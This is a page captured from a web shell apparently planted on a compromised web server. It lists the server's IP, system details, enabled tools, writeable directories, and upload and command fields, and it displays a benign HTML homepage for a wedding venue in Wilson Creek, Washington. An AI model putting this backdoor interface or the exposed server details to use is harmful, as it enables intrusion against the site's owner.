403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/grangestation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/grangestation//index.html.nao
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Grange Station | Central Washington Wedding & Event Venue</title>
    <meta name="description" content="Grange Station is a restored rustic wedding and event venue in Wilson Creek, WA, serving Moses Lake, Ephrata, Soap Lake, Grand Coulee, Quincy, Spokane, Wenatchee, and Central Washington.">
    <meta name="keywords" content="Grange Station, Wilson Creek wedding venue, Moses Lake wedding venue, Ephrata event venue, Soap Lake wedding venue, Almira, Coulee City, Hartline, Grand Coulee, Odessa, Harrington, Davenport, Quincy, Creston, Wilbur, Sun Lakes, Lake View, Marlin, Irby, Mardon, Spokane, Spokane Valley, Airway Heights, Wenatchee, East Wenatchee, Keller, Republic, Mansfield, Cashmere, Leavenworth, Peshastin, Monitor, Waterville, Brewster, Bridgeport, Pateros, Omak, George, Sprague, Ritzville, Reardan, Coulee Dam, Electric City, Banks Lake, Naylordale, Lincoln County, Grant County, Adams County, Central Washington wedding venue, Washington State event venue">
    <meta name="robots" content="index, follow, max-image-preview:large">
    <meta name="theme-color" content="#231f1a">
    <link rel="canonical" href="https://www.grangestation.com/">
    <meta property="og:type" content="website">
    <meta property="og:site_name" content="Grange Station">
    <meta property="og:title" content="Grange Station | Central Washington Wedding & Event Venue">
    <meta property="og:description" content="A restored grange supply store turned warm, vintage venue for weddings, receptions, parties, viewings, and community events near Moses Lake, Ephrata, Soap Lake, Quincy, Spokane, and Wenatchee.">
    <meta property="og:image" content="https://www.grangestation.com/assets/grange-station.png">
    <meta property="og:url" content="https://www.grangestation.com">
    <meta name="twitter:card" content="summary_large_image">
    <meta name="twitter:title" content="Grange Station | Central Washington Wedding & Event Venue">
    <meta name="twitter:description" content="Restored rustic wedding and event venue serving Wilson Creek, Moses Lake, Ephrata, Soap Lake, Quincy, Spokane, Wenatchee, and Central Washington.">
    <meta name="twitter:image" content="https://www.grangestation.com/assets/grange-station.png">
    <link rel="stylesheet" href="styles.css">
    <script type="application/ld+json">
      {
        "@context": "https://schema.org",
        "@type": ["LocalBusiness", "EventVenue"],
        "name": "Grange Station",
        "image": "https://www.grangestation.com/assets/grange-station.png",
        "url": "https://www.grangestation.com",
        "email": "events@grangestation.com",
        "priceRange": "$$",
        "address": {
          "@type": "PostalAddress",
          "addressLocality": "Wilson Creek",
          "addressRegion": "WA",
          "addressCountry": "US"
        },
        "areaServed": [
          "Wilson Creek WA",
          "Moses Lake WA",
          "Ephrata WA",
          "Soap Lake WA",
          "Almira WA",
          "Coulee City WA",
          "Hartline WA",
          "Grand Coulee WA",
          "Odessa WA",
          "Harrington WA",
          "Davenport WA",
          "Quincy WA",
          "Creston WA",
          "Wilbur WA",
          "Sun Lakes WA",
          "Lake View WA",
          "Marlin WA",
          "Irby WA",
          "Mardon WA",
          "Spokane WA",
          "Spokane Valley WA",
          "Airway Heights WA",
          "Wenatchee WA",
          "East Wenatchee WA",
          "Keller WA",
          "Republic WA",
          "Mansfield WA",
          "Cashmere WA",
          "Leavenworth WA",
          "Peshastin WA",
          "Monitor WA",
          "Waterville WA",
          "Brewster WA",
          "Bridgeport WA",
          "Pateros WA",
          "Omak WA",
          "George WA",
          "Sprague WA",
          "Ritzville WA",
          "Reardan WA",
          "Lincoln County WA",
          "Grant County WA",
          "Adams County WA",
          "Coulee Dam WA",
          "Electric City WA",
          "Banks Lake WA",
          "Naylordale WA",
          "Washington State",
          "Central Washington"
        ],
        "amenityFeature": [
          { "@type": "LocationFeatureSpecification", "name": "Restored hardwood floors", "value": true },
          { "@type": "LocationFeatureSpecification", "name": "Open rafter interior", "value": true },
          { "@type": "LocationFeatureSpecification", "name": "Outdoor lawn and tree area", "value": true },
          { "@type": "LocationFeatureSpecification", "name": "Rustic photo backdrops", "value": true },
          { "@type": "LocationFeatureSpecification", "name": "Optional rental and preferred vendor coordination", "value": true }
        ],
        "maximumAttendeeCapacity": 100,
        "description": "A restored rustic venue in Wilson Creek, Washington, with hardwood floors, shiplap, open rafters, outdoor lawn space, and classic photo backdrops."
      }
    </script>
    <script type="application/ld+json">
      {
        "@context": "https://schema.org",
        "@type": "FAQPage",
        "mainEntity": [
          {
            "@type": "Question",
            "name": "Where is Grange Station located?",
            "acceptedAnswer": { "@type": "Answer", "text": "Grange Station is located in Wilson Creek, Washington." }
          },
          {
            "@type": "Question",
            "name": "How many guests can Grange Station hold?",
            "acceptedAnswer": { "@type": "Answer", "text": "The venue has comfortable room for 100 guests, with additional layout-dependent indoor flexibility." }
          },
          {
            "@type": "Question",
            "name": "Can I schedule a private viewing before booking?",
            "acceptedAnswer": { "@type": "Answer", "text": "Yes. Visitors can request a private viewing through the Grange Station booking form." }
          },
          {
            "@type": "Question",
            "name": "What types of events fit Grange Station?",
            "acceptedAnswer": { "@type": "Answer", "text": "Grange Station is suited for weddings, receptions, private parties, family gatherings, community events, markets, dinners, and local meetings." }
          },
          {
            "@type": "Question",
            "name": "Are tables and chairs included?",
            "acceptedAnswer": { "@type": "Answer", "text": "Tables, chairs, linens, and related rental items are optional add-ons. Grange Station can help connect guests with available rental partners." }
          },
          {
            "@type": "Question",
            "name": "What areas does Grange Station serve?",
            "acceptedAnswer": { "@type": "Answer", "text": "Grange Station is based in Wilson Creek, Washington and serves weddings, private events, and community gatherings across Central Washington, including Moses Lake, Ephrata, Soap Lake, Grand Coulee, Quincy, Ritzville, Spokane, Wenatchee, Leavenworth, Omak, Grant County, Lincoln County, and Adams County." }
          }
        ]
      }
    </script>
    <script type="application/ld+json">
      {
        "@context": "https://schema.org",
        "@type": "WebSite",
        "name": "Grange Station",
        "url": "https://www.grangestation.com/",
        "publisher": {
          "@type": "Organization",
          "name": "Grange Station",
          "url": "https://www.grangestation.com/"
        },
        "inLanguage": "en-US"
      }
    </script>
  </head>
  <body>
    <header class="site-header" data-header>
      <a class="brand" href="#home" aria-label="Grange Station home">
        <span class="brand-mark">GS</span>
        <span>
          <strong>Grange Station</strong>
          <small>Wilson Creek, WA</small>
        </span>
      </a>
      <button class="menu-button" type="button" aria-label="Open menu" aria-expanded="false" data-menu-toggle>
        <span></span><span></span><span></span>
      </button>
      <nav class="nav" data-nav>
        <a href="#venue">Venue</a>
        <a href="#events">Events</a>
        <a href="#packages">Packages</a>
        <a href="#gallery">Gallery</a>
        <a href="#visit">Visit</a>
        <a href="#vendors">Vendors</a>
        <a href="#faq">Helpful Answers</a>
        <a href="#contact">Contact</a>
        <a class="nav-cta" href="#booking">Book</a>
      </nav>
    </header>

    <main id="home">
      <section class="hero">
        <img src="assets/grange-station.png" alt="Grange Station venue exterior in Wilson Creek, Washington.">
        <div class="hero-shade"></div>
        <div class="hero-content">
          <p class="eyebrow">Restored grange supply store turned event venue</p>
          <h1>Grange Station</h1>
          <p class="hero-copy">A warm, rustic gathering place in Wilson Creek, Washington, with restored hardwood, open rafters, shiplap character, and room to celebrate inside and out.</p>
          <div class="hero-actions">
            <a class="button primary" href="#booking">Request a Date</a>
            <a class="button secondary" href="#gallery">View Photos</a>
          </div>
        </div>
        <aside class="hero-panel" aria-label="Venue highlights">
          <div><strong>100+</strong><span>indoor guests</span></div>
          <div><strong>Indoor + lawn</strong><span>ceremony and reception flow</span></div>
          <div><strong>Photo-ready</strong><span>building, tracks, trees, rock outcroppings</span></div>
        </aside>
      </section>

      <section class="intro section" id="venue">
        <div class="section-kicker">The Place</div>
        <div class="split">
          <div>
            <h2>A venue with real history in the walls.</h2>
            <p>Grange Station keeps the soul of the original grange supply store while giving couples, families, and hosts a comfortable place to gather. Restored hardwood floors, shiplap texture, exposed rafters, and warm string lighting give the room a vintage feel without making the event feel staged.</p>
          </div>
          <div class="feature-list">
            <div>
              <span>01</span>
              <h3>Restored Interior</h3>
              <p>Hardwood flooring, open rafters, shiplap, vintage fixtures, and flexible open-floor layouts.</p>
            </div>
            <div>
              <span>02</span>
              <h3>Outdoor Grounds</h3>
              <p>Grass and tree areas for ceremonies, cocktail hours, photos, or overflow gathering.</p>
            </div>
            <div>
              <span>03</span>
              <h3>Wilson Creek Character</h3>
              <p>Railroad textures, rock outcroppings, rustic buildings, and the original Grange Supply Co exterior.</p>
            </div>
          </div>
        </div>
      </section>

      <section class="story-band">
        <img src="assets/interior1.jpg" alt="Interior view of Grange Station with restored hardwood, open rafters, and warm venue character.">
        <div>
          <p class="eyebrow dark">Inside Grange Station</p>
          <h2>Flexible for weddings, parties, reunions, markets, meetings, and community events.</h2>
          <p>The interior comfortably fits 100 guests, with potential for more depending on layout and event style. The lawn and shaded outdoor spaces can extend the experience for ceremonies, photo sessions, and relaxed summer evenings.</p>
          <a class="text-link" href="#booking">Plan an event here</a>
        </div>
      </section>

      <section class="service-area section" id="service-area">
        <div class="section-heading">
          <div>
            <div class="section-kicker">Central Washington Venue</div>
            <h2>A Wilson Creek gathering place for surrounding towns and counties.</h2>
          </div>
          <p>Grange Station is located in Wilson Creek and welcomes weddings, receptions, private parties, viewings, reunions, and community events from nearby towns across Grant, Lincoln, Adams, Douglas, Chelan, Okanogan, and Spokane County communities.</p>
        </div>
      </section>

      <section class="section" id="events">
        <div class="section-heading">
          <div>
            <div class="section-kicker">Events</div>
            <h2>Built for the moments people actually remember.</h2>
          </div>
          <p>Each request can be customized by guest count, indoor/outdoor needs, setup time, rentals, and vendor preferences.</p>
        </div>
        <div class="event-grid">
          <article>
            <img src="assets/table-setting.jpg" alt="Rustic table setting with lace and floral centerpiece.">
            <h3>Weddings</h3>
            <p>Ceremony, reception, portraits, dinner, dancing, and family gathering space.</p>
          </article>
          <article>
            <img src="assets/dessert-table.jpg" alt="Dessert table and floral wall in the restored venue.">
            <h3>Celebrations</h3>
            <p>Birthdays, anniversaries, showers, graduations, memorials, and holiday parties.</p>
          </article>
          <article>
            <img src="assets/porch-red-window.jpg" alt="Vintage porch seating against corrugated metal and red trim.">
            <h3>Community Events</h3>
            <p>Markets, workshops, nonprofit dinners, company gatherings, and local meetings.</p>
          </article>
        </div>
      </section>

      <section class="packages-section section" id="packages">
        <div class="section-heading">
          <div>
            <div class="section-kicker">Packages</div>
            <h2>Choose the access window and support level that fits your event.</h2>
          </div>
          <p>Packages can be adjusted during planning, and tables, chairs, linens, vendors, and decor can be discussed as add-ons.</p>
        </div>
        <div class="package-grid" data-package-grid>
          <article>
            <span>Single-Day Rental</span>
            <h3>Simple &amp; Sweet</h3>
            <p>Perfect for budget-conscious couples, intimate gatherings, or those planning a streamlined, beautifully focused celebration. This single-day block gives you full, exclusive access to create your vision from scratch.</p>
            <dl>
              <div><dt>Investment</dt><dd><strong>$1,500 - $1,800 <small>($1,500 for Friday or Sunday. $1,800 for Saturday.)</small></strong></dd></div>
              <div><dt>Time Block</dt><dd>10 to 12 Hours of exclusive property access (e.g., 10:00 AM to 10:00 PM).</dd></div>
              <div>
                <dt>What's Included</dt>
                <dd>
                  <ul>
                    <li>Full, exclusive use of the historic hall and open ceremony lawn.</li>
                    <li>On-site parking for all of your guests.</li>
                    <li>A completely open vendor policy--choose the insured caterer, food truck, or bartender that fits your style.</li>
                    <li>Standard post-event trash drop-off zone.</li>
                  </ul>
                </dd>
              </div>
              <div><dt>The Blueprint</dt><dd>Because we do not provide tables or chairs, this option is ideal for couples coordinating a swift single-day furniture drop-off and pickup window with their chosen rental company.</dd></div>
            </dl>
          </article>
          <article>
            <span>The Weekend Block</span>
            <h3>The Grange Gathering</h3>
            <p>Our most popular option. Logistics in rural Washington are much easier when you aren't rushing. This multi-day block removes the stress of a single-day crunch, giving your family, friends, and rental vendors a relaxed window to set up, celebrate, and clear out.</p>
            <dl>
              <div><dt>Investment</dt><dd><strong>$2,800</strong></dd></div>
              <div><dt>Time Block</dt><dd>Friday Afternoon Setup/Rehearsal (4 hours) + Full-Day Saturday (12 hours) + Sunday Morning Clean-Up (2 hours).</dd></div>
              <div>
                <dt>What's Included</dt>
                <dd>
                  <ul>
                    <li>Everything included in our single-day rental, spread across three days.</li>
                    <li>Ample time on Friday for your rehearsal, layout design, and initial decor setup.</li>
                    <li>Elimination of the "midnight cleanup rush"--pack up your personal items and depart peacefully on Saturday, then return Sunday morning for final checks.</li>
                  </ul>
                </dd>
              </div>
              <div><dt>The Blueprint</dt><dd>Rental delivery drivers love this package. Giving your rental company a flexible 3-day window to drop off and pick up your tables and chairs frequently saves you hundreds of dollars in strict weekend delivery surcharges.</dd></div>
            </dl>
          </article>
          <article>
            <span>The Upgraded Weekend Experience</span>
            <h3>The Going to the Grange Station</h3>
            <p>You still bring in your own customized furniture to match your exact aesthetic, but we step in to handle the heavy lifting and convenience logistics so you can focus entirely on your guests.</p>
            <dl>
              <div><dt>Investment</dt><dd><strong>$3,500</strong></dd></div>
              <div><dt>Time Block</dt><dd>Full Weekend Access (Friday afternoon, all-day Saturday, and Sunday morning).</dd></div>
              <div>
                <dt>What's Included</dt>
                <dd>
                  <ul>
                    <li>Everything included in The Grange Gathering package.</li>
                    <li>In-House Decor Collection: Full access to our curated inventory of milk cans, vintage decor, mason jar table settings and romantic string lighting.</li>
                    <li>Post-Event Garbage Logistics: Don't worry about packing your trash away; our team takes care of the dumpster logistics after you leave.</li>
                    <li>Final Deep Clean: You remove your personal belongings and rentals, and we handle the post-wedding floor scrubbing, mopping, and porta potty details.</li>
                  </ul>
                </dd>
              </div>
            </dl>
          </article>
        </div>
      </section>

      <section class="photo-section section" id="gallery">
        <div class="section-heading">
          <div>
            <div class="section-kicker">Gallery</div>
            <h2>Vintage texture, warm interiors, and photo backdrops in every direction.</h2>
          </div>
          <a class="button ghost" href="gallery.html">Open Gallery</a>
        </div>
        <div class="mosaic" data-gallery-grid>
          <button data-photo="0" data-gallery-index="9"><img src="assets/building-wide.jpg" alt="Wide view of the Grange Supply Co building."></button>
          <button data-photo="1" data-gallery-index="21"><img src="assets/interior1.jpg" alt="Interior view of Grange Station."></button>
          <button data-photo="2" data-gallery-index="16"><img src="assets/tree-wagon-wheel.jpg" alt="Wagon wheel under trees near the venue."></button>
          <button data-photo="3" data-gallery-index="1"><img src="assets/railroad-florals.jpg" alt="Floral decor with railroad tracks in the background."></button>
          <button data-photo="4" data-gallery-index="19"><img src="assets/dessert-wall.jpg" alt="Cakes and pies against restored wood walls."></button>
          <button data-photo="5" data-gallery-index="0"><img src="assets/bar-detail.jpg" alt="Wine and serving details in the venue."></button>
        </div>
        <div class="crop-editor" data-crop-editor hidden>
          <div class="crop-preview">
            <img data-crop-preview src="assets/building-wide.jpg" alt="Selected gallery crop preview.">
          </div>
          <div class="crop-controls">
            <label>Photo
              <select data-crop-photo>
                <option value="0">Building exterior</option>
                <option value="1">Interior</option>
                <option value="2">Tree and wagon wheel</option>
                <option value="3">Railroad florals</option>
                <option value="4">Dessert wall</option>
                <option value="5">Bar detail</option>
              </select>
            </label>
            <label>Left / right
              <input type="range" min="0" max="100" step="1" data-crop-x>
            </label>
            <label>Up / down
              <input type="range" min="0" max="100" step="1" data-crop-y>
            </label>
            <label>Zoom
              <input type="range" min="0.75" max="1.8" step="0.01" data-crop-zoom>
            </label>
            <label>Box width
              <select data-crop-cols>
                <option value="1">Normal</option>
                <option value="2">Wide</option>
                <option value="3">Full row</option>
              </select>
            </label>
            <label>Box height
              <select data-crop-rows>
                <option value="1">Normal</option>
                <option value="2">Tall</option>
              </select>
            </label>
            <label>Image fit
              <select data-crop-fit>
                <option value="cover">Fill box</option>
                <option value="contain">Show whole photo</option>
              </select>
            </label>
            <div class="crop-actions">
              <button class="button primary" type="button" data-save-crop>Save Crop</button>
              <button class="button ghost" type="button" data-reset-crop>Reset Photo</button>
              <button class="button ghost" type="button" data-reset-all-crops>Reset All</button>
            </div>
          </div>
        </div>
      </section>

      <section class="details section" id="visit">
        <div class="section-kicker">Venue Details</div>
        <div class="details-grid">
          <div>
            <h2>What guests can expect.</h2>
            <p>Grange Station is intentionally warm, relaxed, and practical. The venue is suited for people who want character, room to gather, and a setting that photographs beautifully without needing to cover up the building.</p>
            <div class="venue-map">
              <iframe
                title="Map to Grange Station in Wilson Creek, Washington"
                src="https://www.google.com/maps?q=Grange%20Station%20Wilson%20Creek%20WA&output=embed"
                loading="lazy"
                referrerpolicy="no-referrer-when-downgrade"></iframe>
            </div>
          </div>
          <dl>
            <div><dt>Location</dt><dd>Wilson Creek, Washington</dd></div>
            <div><dt>Capacity</dt><dd>Comfortable room for 100, with layout-dependent indoor flexibility</dd></div>
            <div><dt>Spaces</dt><dd>Restored interior, covered porch, lawn and trees, nearby railroad/photo backdrops</dd></div>
            <div><dt>Rentals</dt><dd>Tables, chairs, linens, and other event rentals are optional add-ons coordinated through available rental partners</dd></div>
            <div><dt>Best For</dt><dd>Weddings, receptions, private parties, dinners, reunions, markets, and local gatherings</dd></div>
          </dl>
        </div>
      </section>

      <section class="vendor-section section" id="vendors">
        <div class="section-heading">
          <div>
            <div class="section-kicker">Planning Help</div>
            <h2>Preferred vendors and rental add-ons without the guesswork.</h2>
          </div>
          <p>Grange Station does not currently include tables or chairs by default, but rental access is available and can be added to a request.</p>
        </div>
        <div class="vendor-grid">
          <article>
            <span>Rentals</span>
            <h3>Tables, chairs, linens, and setup pieces</h3>
            <p>Ask for help sourcing tables, chairs, linens, bars, decor, tents, heaters, or other event rental needs.</p>
          </article>
          <article>
            <span>Catering</span>
            <h3>Preferred food and beverage companies</h3>
            <p>Request introductions to caterers, dessert providers, bar service, coffee service, or food trucks that fit the event style.</p>
          </article>
          <article>
            <span>Music</span>
            <h3>DJs, live music, and sound support</h3>
            <p>Let us know if you need music recommendations, ceremony audio, reception sound, or vendor walkthrough time.</p>
          </article>
        </div>
      </section>

      <section class="faq section" id="faq">
        <div class="section-heading">
          <div>
            <div class="section-kicker">Questions</div>
            <h2>Helpful answers before you book.</h2>
          </div>
        </div>
        <div class="faq-grid">
          <details>
            <summary>Where is Grange Station?</summary>
            <p>Grange Station is in Wilson Creek, Washington, with a rustic restored building and outdoor grounds suited for gatherings and photos.</p>
          </details>
          <details>
            <summary>How many guests can the venue hold?</summary>
            <p>The venue has comfortable room for 100 guests, with the possibility of more inside depending on event layout and setup needs.</p>
          </details>
          <details>
            <summary>Can we schedule a viewing?</summary>
            <p>Yes. Use the booking form and select Private Viewing to request a tour date and time.</p>
          </details>
          <details>
            <summary>What photo backdrops are available?</summary>
            <p>The restored building, porch, train tracks, railroad buildings, trees, lawn, and rock outcroppings all create strong photo settings.</p>
          </details>
          <details>
            <summary>Are tables and chairs included?</summary>
            <p>Not by default. Tables, chairs, linens, and related setup pieces can be requested as add-ons through available rental partners.</p>
          </details>
          <details>
            <summary>Do you have preferred vendors?</summary>
            <p>Yes. Guests can request preferred catering, rental, music, DJ, and sound recommendations when they submit a reservation or viewing request.</p>
          </details>
          <details>
            <summary>What areas do you serve?</summary>
            <p>Grange Station is based in Wilson Creek and serves Central Washington events from Moses Lake, Ephrata, Soap Lake, Grand Coulee, Quincy, Ritzville, Spokane, Wenatchee, Leavenworth, Omak, Grant County, Lincoln County, Adams County, and surrounding Washington communities.</p>
          </details>
        </div>
      </section>

      <section class="contact-section section" id="contact">
        <div class="section-heading">
          <div>
            <div class="section-kicker">Contact</div>
            <h2>Questions before you request a date?</h2>
          </div>
          <p>Reach out for viewing questions, vendor details, rental add-ons, availability conversations, or general event planning questions.</p>
        </div>
        <div class="contact-layout">
          <form class="contact-form" data-contact-form novalidate>
            <input type="hidden" name="contactStartedAt" data-contact-started>
            <div class="bot-field" aria-hidden="true">
              <label>Company website<input name="website" tabindex="-1" autocomplete="off"></label>
            </div>
            <div class="form-grid">
              <label>Full name<input required name="name" autocomplete="name"></label>
              <label>Email<input required name="email" type="email" autocomplete="email"></label>
              <label>Phone<input name="phone" type="tel" autocomplete="tel"></label>
              <label>Reason
                <select name="reason">
                  <option>General question</option>
                  <option>Private viewing</option>
                  <option>Vendor or rental question</option>
                  <option>Availability question</option>
                  <option>Other</option>
                </select>
              </label>
            </div>
            <label>Message<textarea required name="message" rows="5" placeholder="Tell us what you are wondering about."></textarea></label>
            <label class="human-check">Human check: what is 5 + 4?<input required name="humanCheck" inputmode="numeric" autocomplete="off" placeholder="Answer"></label>
            <div class="form-actions">
              <button class="button primary" type="submit">Send Message</button>
              <a class="button secondary" href="mailto:events@grangestation.com">Email Directly</a>
            </div>
          </form>
          <div class="contact-grid">
          <article>
            <span>Email</span>
            <h3><a href="mailto:events@grangestation.com">events@grangestation.com</a></h3>
            <p>Best for event details, private viewing requests, rental add-on questions, and preferred vendor introductions.</p>
          </article>
          <article>
            <span>Location</span>
            <h3>230 Broadway Street<br>Wilson Creek, WA 98860</h3>
            <p>Serving Central Washington weddings, receptions, private gatherings, community events, and viewings.</p>
          </article>
          </div>
        </div>
      </section>

      <section class="booking-section section" id="booking">
        <div class="booking-copy">
          <div class="section-kicker">Booking</div>
          <h2>Request a reservation or schedule a private viewing.</h2>
          <p>Use this form to start a booking conversation. Only confirmed bookings are shown as unavailable; new requests are reviewed by the venue team before a date is held.</p>
          <div class="quote-box" aria-live="polite">
            <span>Estimated starting range</span>
            <strong data-estimate>$1,200 - $1,800</strong>
            <small data-estimate-note>Weekend event estimate before add-ons.</small>
            <small class="estimate-breakdown" data-estimate-breakdown></small>
          </div>
        </div>

        <form class="booking-form" data-booking-form novalidate>
          <div class="form-tabs" role="tablist" aria-label="Request type">
            <button type="button" class="active" data-request-type="Event Reservation">Event Reservation</button>
            <button type="button" data-request-type="Private Viewing">Private Viewing</button>
          </div>
          <input type="hidden" name="requestType" value="Event Reservation">
          <input type="hidden" name="formStartedAt" data-form-started>
          <div class="bot-field" aria-hidden="true">
            <label>Company website<input name="website" tabindex="-1" autocomplete="off"></label>
          </div>
          <div class="booking-calendar-shell">
            <label class="date-picker-field">Preferred date
              <input required name="date" type="date" data-date-input>
            </label>
            <div class="booking-calendar" data-booking-calendar>
              <div class="calendar-head">
                <button type="button" aria-label="Previous month" data-calendar-prev>&lsaquo;</button>
                <strong data-calendar-month>Month</strong>
                <button type="button" aria-label="Next month" data-calendar-next>&rsaquo;</button>
              </div>
              <div class="calendar-weekdays" aria-hidden="true">
                <span>Sun</span><span>Mon</span><span>Tue</span><span>Wed</span><span>Thu</span><span>Fri</span><span>Sat</span>
              </div>
              <div class="calendar-grid" data-calendar-grid></div>
              <div class="calendar-key" aria-label="Calendar key">
                <span><i class="key-dot key-unavailable"></i> Full day unavailable</span>
                <span><i class="key-dot key-partial"></i> Partial day unavailable</span>
                <span><i class="key-dot key-pending"></i> Pending request</span>
              </div>
              <div class="calendar-details" data-calendar-details>
                Select a date to see confirmed bookings.
              </div>
            </div>
          </div>
          <div class="form-grid">
            <label>Full name<input required name="name" autocomplete="name"></label>
            <label>Email<input required name="email" type="email" autocomplete="email"></label>
            <label>Phone<input required name="phone" type="tel" autocomplete="tel"></label>
            <label>Confirm email<input required name="confirmEmail" type="email" autocomplete="off"></label>
            <label>Start time<input required name="time" type="time" value="16:00"></label>
            <label>End time<input required name="endTime" type="time" value="22:00"></label>
            <label>Guest count<input required name="guests" type="number" min="1" max="180" value="80"></label>
            <label>Package
              <select name="package" data-package-select>
                <option value="">Not sure yet</option>
              </select>
            </label>
            <label>Event type
              <select name="eventType">
                <option>Wedding</option>
                <option>Reception</option>
                <option>Party</option>
                <option>Community event</option>
                <option>Corporate or nonprofit</option>
                <option>Other</option>
              </select>
            </label>
            <label>Indoor/outdoor needs
              <select name="space">
                <option>Indoor venue only</option>
                <option>Indoor plus lawn</option>
                <option>Outdoor ceremony plus indoor reception</option>
                <option>Viewing only</option>
              </select>
            </label>
            <label>Preferred vendor help
              <select name="vendorHelp">
                <option>No vendor help needed yet</option>
                <option>Send preferred catering options</option>
                <option>Send rental company options</option>
                <option>Send music and DJ options</option>
                <option>Help with catering, rentals, and music</option>
              </select>
            </label>
          </div>
          <label class="full-day-option"><input type="checkbox" name="fullDay" value="1" data-full-day> Full day request</label>
          <fieldset>
            <legend>Optional add-ons</legend>
            <label><input type="checkbox" name="addons" value="Setup Time & Extra Hours"> Setup Time & Extra Hours <small>$100 per hour</small></label>
            <label><input type="checkbox" name="addons" value="Photo Session Access"> Photo Session Access <small>$100 per hour</small></label>
            <label><input type="checkbox" name="addons" value="Vendor Walkthrough"> Vendor Walkthrough <small>$30</small></label>
            <label><input type="checkbox" name="addons" value="Table linens"> Table linens <small>$10 per table</small></label>
            <label><input type="checkbox" name="addons" value="Catering introduction"> Catering introduction <small>Free</small></label>
            <label><input type="checkbox" name="addons" value="DJ introduction"> DJ introduction <small>Free</small></label>
          </fieldset>
          <label>Tell us about the event<textarea name="message" rows="4" placeholder="Share your event plans, timing, questions, and anything you already know."></textarea></label>
          <label class="human-check">Human check: what is 4 + 3?<input required name="humanCheck" inputmode="numeric" autocomplete="off" placeholder="Answer"></label>
          <div class="availability" data-availability>Choose a date to check availability.</div>
          <div class="confirmed-slots" data-confirmed-slots hidden></div>
          <div class="form-actions">
            <button class="button primary" type="submit">Submit Request</button>
          </div>
          <p class="form-note">Requests are saved for Grange Station review and emailed to events@grangestation.com. Dates are not held until approved by the venue team.</p>
        </form>
      </section>

      <section class="final-cta">
        <img src="assets/railroad-florals.jpg" alt="Rustic floral display near railroad tracks at Grange Station.">
        <div>
          <h2>Ready to see it in person?</h2>
          <p>Schedule a private viewing and walk the porch, interior, lawn, trees, and photo backdrops before choosing a date.</p>
          <a class="button primary" href="#booking" data-viewing-link>Schedule a Viewing</a>
        </div>
      </section>
    </main>

    <footer class="footer">
      <div>
        <strong>Grange Station</strong>
        <span>Wilson Creek, WA</span>
      </div>
      <div>
        <a href="https://www.grangestation.com">www.grangestation.com</a>
        <a href="mailto:events@grangestation.com">events@grangestation.com</a>
      </div>
    </footer>

    <div class="toast" data-toast role="status" aria-live="polite"></div>
    <script src="site-config.js"></script>
    <script src="script.js"></script>
  </body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit